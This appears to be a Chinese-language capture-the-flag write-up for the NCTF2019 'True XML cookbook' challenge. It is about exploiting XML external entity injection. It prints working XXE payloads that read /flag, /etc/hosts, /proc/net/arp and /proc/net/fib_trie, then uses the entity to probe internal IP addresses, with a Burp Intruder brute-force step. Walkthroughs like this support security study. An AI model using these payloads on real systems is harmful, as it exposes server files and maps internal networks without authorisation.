BUU [NCTF2019]True XML cookbook

打开连接

 熟悉的界面，我们就不做黑盒测试了，直接抓包修改xml

payload:<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>123456</password></user>

 测试直接读取flag失败，试试内网探测看是否有结果

内网探测命令

/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/hosts">]>
<user><username>&admin;</username><password>123456</password></user>

 并未发现任何主机，尝试其他命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///proc/net/arp">]>
<user><username>&admin;</username><password>123456</password></user>

 这里扫出了两个主机，尝试访问

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "http://10.128.253.12 ">]>
<user><username>&admin;</username><password>123456</password></user>

 失败

用BP的intruder模块来爆破ip1-100

 add这里

 设置数字字典从1到100

 线程可以调高点

这里我把两个ip都爆破了一次，都没发现flag

尝试其他命令进行探测最后用此命令扫出了正确的ip

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///proc/net/fib_trie">]>
<user><username>&admin;</username><password>123456</password></user>

 爆破得到flag

芜湖